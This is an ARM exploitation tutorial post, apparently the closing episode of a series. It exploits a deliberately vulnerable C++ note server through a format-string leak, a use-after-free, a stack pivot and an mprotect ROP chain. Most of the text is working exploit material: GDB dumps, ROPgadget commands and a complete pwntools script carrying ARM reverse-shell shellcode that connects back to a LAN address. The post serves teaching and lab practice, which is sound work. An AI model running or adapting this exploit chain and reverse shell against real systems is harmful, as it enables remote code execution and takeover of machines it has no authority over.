      cout << "Run pid=" << getpid() << endl;
      if ((fd_sock = socket(PF_INET, SOCK_STREAM, 0)) < 0){
        std::cerr << strerror(errno) << std::endl;
        exit(1);
      }

      if(setsockopt(fd_sock, SOL_SOCKET, SO_REUSEADDR, &var, sizeof(int)) <0) {
       std::cerr << strerror(errno) << std::endl;
       exit(1);
      }

      if (bind(fd_sock, (struct sockaddr*) &sockaddr, sizeof(sockaddr)) <0 ){
        std::cerr << strerror(errno) << std::endl;
        exit(1);
      }
      
      if (listen(fd_sock, MAX_NUM) < 0){
        std::cerr << strerror(errno) << std::endl;
        exit(1);
      }
      
      note();
    
    }
    else{
        wait(NULL);
        close(fd_sock);
    }
  }   
  return 0;
}

Compile it

[email protected]:/home/pi/arm/episode3# g++ -o uaf uaf.c -g

It is a simple server that is listening on the 4444 port, we can insert a note, show all the notes, edit a note, delete the last note, set an address, change the welcome message, it is also possible to print some debugging info.

A few observations:

  1. virtual method show_all_notes()
  2. stack_pivot() function
  3. stack_info() function
  4. delete and set_address() function

Observation 1 – virtual method show_all_notes()

If we look into the edit_obj object

we can see that the first 4 bytes are a pointer to the vtable, and the first address of the vtable is the pointer to the code of the “show_all_notes” virtual function

Observation 2 – stack_pivot() function

With the stack_pivot() function if we have the control of “r4 + #0x0c” we can set the stack with an address that we have under control.

Observation 3 – stack_info() function

A string format vulnerability in the stack_info() function

Observation 4 – delete and set_address() function

In the case 4 the edit_obj is deleted, then if this object will be used we will have the UAF vulnerability. The purpose of the set_address function is to try to allocate in the heap an object with the size equal to the size of the deleted object.

I summarize the strategy that we will use in the following steps:

  1. We use case 9 to take the address of the libc and also of the wel_msg and roulette variables
  2. Free the memory and allocate the hole
  3. We use the address of the wel_msg to keep the value of the new stack and the shellcode

Let’s see in details

1-  We use case 9 to take the address of the libc and also of the wel_msg and roulette variables

Let’s analyze the stack_info functions

we will use the format string vulnerability only for arbitrary read from the stack, if we send this payload

0x%08x,0x%08x,0x%08x,0x%08x

we get the following output

0x00000000,0x76fb2f0c,0x0002a3f4,0xffffffff

Let’s look at the address 0x76fb2f0c

We could calculate the base address of the libc by offset, in our case the libc base address is 0x76c85000

The offset will be

offset = 0x76fb2f0c-0x76c85000 = 0x32df0c

The address of the wel_msg and roulette variables is also printed.

2- Free the memory and allocate the hole

Let’s see after the delete of the edit_obj object

case 4:
            edit_obj->delete_note();
            cout << "Try to set the roulette number: " << endl; cin >> roulette;
            delete edit_obj;

We will try to set the roulette variable with this string “1111”, then before of the delete instruction, this is the contents of the edit_obj

gef> x/8x edit_obj
0x29318:	0x000126c8	0x00000001	0x0002a37c	0x0002a394
0x29328:	0x76fb76ec	0x76fb76ec	0x76fb76ec	0x76fb76ec

After the delete instructions

gef> x/8x edit_obj
0x29318:	0x00000000	0x00000001	0x0002a37c	0x0002a394
0x29328:	0x76fb76ec	0x76fb76ec	0x76fb76ec	0x76fb76ec

the vtable address becomes zero.

The address of the roulette variable is:

gef> p &roulette
$1 = (int *) 0x23298 <roulette>

Now we can use the case 5 for the allocation of a new memory area and in the set_address function,  we try to insert the address of the roulette variable (that we have from the leak).

5

Enter the number

144024

And look at the address of the edit_obj

gef> x/x 0x29318
0x29318:	0x00023298
gef> x/x 0x00023298
0x23298 <_ZL8roulette>:	0x00000457
gef> p/d 0x00000457
$3 = 1111

Then we can use the roulette variable to set the address of the first ROP gadget, in order to have something similar to the above image

3- We use the address of the wel_msg to keep the value of the new stack and the shellcode

This time I use a simple ROP chain to make our portion of memory (wel_msg) executable and jump to the shellcode.

I have provided the first ROP gadget, in the stack_pivot() function

void stack_pivot(){

  asm volatile(

    "ldr sp,[r4, #0x0c] \n\t"

    "ldr sp, [sp] \n\t"

    "pop {lr, pc} \n\t"

  );

}

we will use the mprotect function, but before we need to find a gadget to fill the parameters

r0 = shellcode page aligned address

r1 = size(ofshellcode)

r2 = protection (0x7 - RWX)

pc = mprotect address

We could run ROPgadget in the following way:

$ ROPgadget --binary libc-2.24.so --thumb | grep "pop {r0, r1, r2"



And we could use this gadget for example



0x000e6b08 : pop {r0, r1, r2, r3, r4, pc}

r0 = shellcode page aligned address

r1 = size(ofshellcode)

r2 = protection (0x7 – RWX)

r3 = 0x00

r4 = 0x00

pc = mprotect address

We can put everything together for a little test, then start the server

gdb ./uaf

For do this test I used

And type 9 and after this payload

0x%08x.0x%08x.0x%08x

Then insert the following 3 notes (case 1)

  • “AAAA”
  • wel_msg address
  • “BBBB”

As mentioned before, we will use the “wel_msg” array to keep the values of the new stack and the shellcode (we will use the reverse shell shellcode), then in order to edit this array we must use the “change the message” case.

We must send

LR= &wel_msg + 36

gadget1 = pop_r0_r1_r2_r3_r4_pc

r0 = (&wel_msg / PAGE_SIZE ) * PAGE_SIZE

r1 = 0x100

r2 = 0x7

r3 = 0x00

r4 = 0x00

r5 = mprotect addres

Then verify it

gef> x/20x wel_msg
0x7efff408:	0x7efff42c	0x76d6bb09	0x7efff000	0x00000100
0x7efff418:	0x00000007	0x00000000	0x00000000	0x76d52840
0x7efff428:	0x5a5a5a5a	0xe3a00002	0xe3a01001	0xe3a02000
0x7efff438:	0xe59f7080	0xef000000	0xe1a06000	0xe3a0105c
0x7efff448:	0xe3a05011	0xe1a01c01	0xe0811805	0xe2811002

We can use the case 4 to free the edit_obj, and set the address of the stack_pivot() function as roulette value.

We should now allocate a new object, we can do it form case 5 (set_address function), by sending the roulette address

And finally trigger the vulnerability with the case 2 (show all notes)

The value of r3 is equal to the address of edit_obj, if we go on at the blx r3 instruction

we can notice that the register r3 is equal to the address of the stack_pivot function

Then if we go on, we got a shell in the remote system.

A simple script in order to automate it. File uaf_exploit.py

#!/usr/bin/env python2
from pwn import *
import pwnlib.asm as asm
import pwnlib.elf as elf

ip = "192.168.0.13"
port = 4444

PAGE_SIZE = 0x1000

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        log.info(asm.disasm(gadget_bytes, vma=gadget_address, arch='arm'))
        break
  return gadget_address
 
def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        log.info(asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb'))
        break
  return gadget_address
   
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

# libc file
libc = ELF('libc-2.24.so')

s = remote(ip, port)

log.info('-----------------------------------------------')

#####LEAK#####
offset = 0x32df0c
s.sendline('9')
leak_value = s.recvuntil("area")
# arbitrary read
s.sendline('0x%08x.0x%08x.0x%08x')
leak_values = s.recvuntil("done!")
wel_msg = int(leak_values[76:84], 16)
roulette_add = int(leak_values[109:114], 16)
stack_address = int(leak_values[13:23], 16)

log.info("The wel_msg address is: 0x%x", wel_msg)
log.info("The roulette address is: 0x%x", roulette_add)
log.info("The leak_address: 0x%x", stack_address)

# libc base address
libc_base = stack_address - offset
log.info("Libc base address: 0x%x", libc_base)

# mprotect address
mprotect_address = libc_base + libc.symbols['mprotect']
log.info('mprotect address 0x%x' % mprotect_address)

# gadget address
libc.address = libc_base
pop_r0_r1_r2_r3_r4_pc = find_gadget(libc, 'pop {r0, r1, r2, r3, r4, pc}')

# insert note "AAAA"
s.sendline('1')
s.sendline('A'*4)
# insert address of wel_msg as note 
s.sendline('1')
s.sendline(p32(wel_msg))
# insert note "BBBB"
s.sendline('1')
s.sendline('B'*4)

# reverse shell shellcode + "\x33"
shellcode = "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0e\x1b\x01\x00\x00\x33"

# len of the new stack
stack_len = 40
stack = ""
# set LR
stack += p32(wel_msg + 36) #LR = address of the shellcode
# gadget 2 - 76d6bb08: pop {r0, r1, r2, r3, r4, pc}
stack += p32(pop_r0_r1_r2_r3_r4_pc)  # thumb address
# r0 = (wel_msg / PAGE_SIZE ) * PAGE_SIZE
stack += p32((wel_msg / PAGE_SIZE) * PAGE_SIZE)
# r1 = 0x100
stack += p32(0x100)
# r2 = 0x7
stack += p32(0x07) #RWX
# r3 = 0x00
stack += p32(0x00)
# r4 = 0x00
stack += p32(0x00)
# r5 = mprotect addres
stack += p32(mprotect_address)
stack += "ZZZZ"
# change the wel_msg value
s.sendline('0')
s.sendline(stack + shellcode)
ret = s.recvuntil("message")
sleep(1)

# objdump -d uaf | grep stack_pivot
# 000111cc &amp;amp;lt;_Z11stack_pivotv&amp;amp;gt;:
roulette_value = 0x111cc  # address of the stack_pivot function
# delete edit_obj
s.sendline('4')
s.sendline(str(roulette_value))
ret = s.recvuntil("message")
sleep(1)

# allocare the hole - set_address()
s.sendline('5')
s.sendline(str(roulette_add))
ret = s.recvuntil("message")
sleep(1)

# take control - show all note
s.sendline('2')
ret = s.recvuntil("message")
sleep(1)

s.close()

Test it

Start the remote server

start the server uaf application

Run the exploit

 

We arrived at the end of the episodes, my purpose was to give a small introduction to the ARM world (for free), I hope I have achieved my goal and I hope you enjoyed these episodes.

You can find the codes on my github here: https://github.com/invictus1306/ARM-episodes

Thanks to @quequero for reviews

@invictus1306

Speak Your Mind